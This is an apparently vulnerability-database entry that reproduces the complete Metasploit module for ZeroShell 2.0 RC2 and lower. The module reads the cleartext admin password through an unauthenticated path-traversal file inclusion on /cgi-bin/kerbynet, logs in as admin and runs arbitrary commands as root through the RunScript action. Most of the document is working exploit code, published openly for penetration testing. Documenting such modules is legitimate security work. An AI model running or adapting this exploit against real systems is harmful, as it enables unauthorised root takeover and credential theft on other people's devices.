ZeroShell Remote Code Execution

2013-09-22T08:13:55
ID MSF:EXPLOIT/UNIX/WEBAPP/ZEROSHELL_EXEC
Type metasploit
Reporter Rapid7
Modified 2017-07-24T13:26:21

Description

This module exploits a vulnerability found in ZeroShell 2.0 RC2 and lower. It will leverage an unauthenticated local file inclusion vulnerability in the "/cgi-bin/kerbynet" url. The file retrieved is "/var/register/system/ldap/rootpw". This file contains the admin password in cleartext. The password is used to login as the admin user. After the authentication process is complete it will use the RunScript action to execute the payload with root privileges.

                                        
                                            ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager
  include Msf::Exploit::EXE

  def initialize(info={})
    super(update_info(info,
      'Name'           => "ZeroShell Remote Code Execution",
      'Description'    => %q{
        This module exploits a vulnerability found in ZeroShell 2.0 RC2 and lower.
        It will leverage an unauthenticated local file inclusion vulnerability in the
        "/cgi-bin/kerbynet" url. The file retrieved is "/var/register/system/ldap/rootpw".
        This file contains the admin password in cleartext. The password is used to login
        as the admin user. After the authentication process is complete it will use the
        RunScript action to execute the payload with root privileges.
      },
      'License'         => MSF_LICENSE,
      'Author'          =>
        [
          'Yann CAM', # Discovery, PoC
          'xistence <xistence[at]0x90.nl>' # Metasploit module
        ],
      'References'      =>
        [
          [ 'PACKETSTORM', '122799' ]
        ],
      'Platform'        => ['linux'],
      'Arch'            => ARCH_X86,
      'Targets'         =>
        [
          ['ZeroShell 2.0 RC2', {}]
        ],
      'Privileged'      => true,
      'DisclosureDate'  => "Sep 22 2013",
      'DefaultTarget'   => 0))

    register_options(
      [
       OptString.new('TARGETURI', [true, 'The base path to the ZeroShell instance', '/'])
      ])
    deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR')
  end

  def uri
    return target_uri.path
  end

  def check
    # Check version
    print_status("Trying to detect ZeroShell")

    res = send_request_cgi({
     'method' => 'GET',
     'uri'    => normalize_uri(uri)
    })

    if res and res.code == 200 and res.body =~ /ZeroShell/
      print_good("ZeroShell detected")
    end

    unless password.nil?
      return Exploit::CheckCode::Appears
    end

    return Exploit::CheckCode::Safe
  end

  # Retrieve admin password using unauthenticated LFI
  def password
    rootpw = "../../../var/register/system/ldap/rootpw"
    print_status("Retrieving cleartext admin password")
    res = send_request_cgi({
      'method' => 'GET',
      'uri'    => normalize_uri(uri, "cgi-bin", "kerbynet"),
      'vars_get' => {
        'Section' => "NoAuthREQ",
        'Action'  => "Render",
        'Object'  => rootpw
      }
    })

    if res and res.code == 200 and res.body !~ /not found/
      res.body =~ /^(.*)$/
      pass = $1
      print_status("Password retrieved [ #{pass} ]")
      return pass
    else
      return nil
    end
  end


  # Login using the retrieved password and grab the session key from the response body.
  def login(admin_password)
    print_status("Log in and retrieving session key")
    res = send_request_cgi({
      'method' => 'POST',
      'uri'    => normalize_uri(uri, "cgi-bin", "kerbynet"),
      'vars_post'   => {
        'Action' => "StartSessionSubmit",
        'User' => "admin",
        'PW' => admin_password
      }
    })

    if res and res.code == 200 and res.body =~ /STk=([a-zA-Z0-9]+)&Action/
      sessionkey = $1
      print_status("Session key retrieved [ #{sessionkey} ]")
      return sessionkey
    else
      fail_with(Failure::Unknown, "#{peer} - Retrieving session key failed!")
    end
  end

  # The RunScript action will run shell commands directly with root privileges.
  def execute_command(cmd, opts)
    script_name = rand_text_alphanumeric(8)
    res = send_request_cgi({
      'method' => 'POST',
      'uri'    => normalize_uri(uri, "cgi-bin", "kerbynet"),
      'vars_post'   => {
        'Action' => "RunScript",
        'Section' => "Setup",
        'STk' => @session,
        'ScriptName' => script_name,
        'Script' => cmd + '&'
      }
    })

    if res and res.code != 200
      fail_with(Failure::Unknown, "#{peer} - Unexpected response, exploit probably failed!")
    end

  end

  def exploit
    admin_password = password
    if admin_password.nil?
      fail_with(Failure::Unknown, "#{peer} - Retrieving password failed!")
    end

    @session = login(admin_password)

    execute_cmdstager({:flavor => :echo})
  end
end